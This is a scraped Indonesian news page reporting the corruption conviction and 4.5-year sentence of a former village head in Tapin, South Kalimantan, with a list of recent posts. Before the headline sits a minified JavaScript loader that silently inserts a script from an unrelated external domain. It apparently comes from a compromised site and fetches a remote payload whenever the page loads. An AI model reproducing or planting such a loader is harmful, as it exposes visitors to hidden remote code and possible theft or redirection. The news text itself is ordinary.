(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Korupsi APBDes, Mantan Kades Batalas Divonis Penjara 4,5 Tahun


KANALKALIMANTAN.COM, BANJARMASIN – Salah seorang Kepala Desa (Kades) di Kabupaten Tapin Kalimantan Selatan (Kalsel) harus mendekam di penjara karena menyelahgunakan dana Anggaran Pendapatan dan Belanja Desa (APBDes).

Saidan Arisandi (47) dianggap telah merugikan keuangan negara sebesar ratusan juta saat menjabat Kades Batalas Kecamatan Candi Laras Utara tahun 2016 hingga 2022.
Dirinya divonis bersalah dengan hukuman penjara selama 4 tahun 6 bulan atau 4,5 tahun.

Putusan pidana tersebut diketuk majelis hakim Pengadilan Tindak Pidana Korupsi Banjarmasin yang diketuai Suwandi SH MH dan dua hakim Anggota Feby SH dan Herlinda SH.

Pasal 2 jo pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi yang sebelumnya dipasang sebagai dakwaan primair, dianggap telah terbukti.

Baca juga: BEM Uniska Tantang Dua Paslon Pilgub Kalsel Sampaikan Gagasan di Kampus

“Mengadili, menyatakan terdakwa Saidan Arisandi, terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana korupsi sebagaimana dalam dakwaan primair,” kata Suwandi saat membacakan vonis, Kamis (7/11/2024) siang.

Oleh majelis hakim, Saidan juga dipidana denda sebesar Rp200 juta, dengan ketentuan apabila denda tersebut tidak dibayar, maka kurungan penjara bertambah selama 1 bulan.

Selain itu, mantan Kades Batalas ini juga dijatuhi pidana tambahan berupa membayar uang pengganti kerugian negara yang jumlahnya setimpal dengan yang dikorupsinya, yaitu sebesar Rp298.945.522,37.

Dengan catatan, apabila uang pengganti yang dibebankan tersebut tidak dibayar sebulan setelah putusan inkrah, maka harta bendanya dapat disita dan dilelang untuk menutupi uang pengganti.

Baca juga: ASEAN Futsal Championship 2024 : MNCTV Tayangkan Indonesia Hadapi Thailand di Babak Semifinal

Dalam hal terdakwa tidak memiliki harta yang mencukupi untuk membayar uang pengganti, maka hukumannya bertambah selama 1 tahun  6 bulan.

“Menetapkan masa penahanan yang dijalani terdakwa dikurangi seluruhnya dari pidana yang dijatuhkan,” kata Ketua Majelis Hakim Suwandi.

Putusan pidana 4 tahun 6 bulan penjara tersebut terbilang lebih ringan, dari tuntutan jaksa penuntut umum (JPU) dari Kejari Tapin yang meminta Saidan dihukum 5 tahun.

Usai mendengarkan putusan, tanpa berpikir panjang, terdakwa Saidan melalui penasehat hukum langsung menyatakan menerima putusan.

Baca juga: Arisandi Hidayatullah Dipercaya Ketua Forum Kewirausahaan Muda Kalsel 2024-2027

Sementara tim JPU yang dihadiri Bimo Bayu Aji Kiswanto SH menyatakan pikir-pikir selama batas waktu 7 hari yang diberikan Majelis Hakim.

Saidan diadili di Pengadilan Tipikor Banjarmasin karena didakwa JPU dari Kejari Tapin telah melakukan penyelewengan APBDes pada tahun anggaran 2017, 2018 dan 2019.

Berdasarkan hasil audit, akibat dari perbuatannya tersebut didapati kerugian keuangan negara sebesar Rp298.945.522.

JPU mendakwa Saidan dengan Pasal 2 jo Pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi, sebagai dakwaan primair.

Baca juga: KPK Sebut Paman Birin Tak Lakukan Tugas Sebagai Gubernur Kalsel

Sementara dakwan subsidair dipasang Pasal 3 jo Pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dan ditambah dengan 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Banjir Rob di Tanjung Pagar 45 KK Terdampak

KANALKALIMANTAN.COM, BANJARMASIN — Banjir yang menggenangi Jalan Kelayan Besar, RT 04, Kelurahan Tanjung Pagar, Kecamatan… Read More

2 menit ago

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

16 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

18 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

19 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

20 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

20 jam ago

This website uses cookies.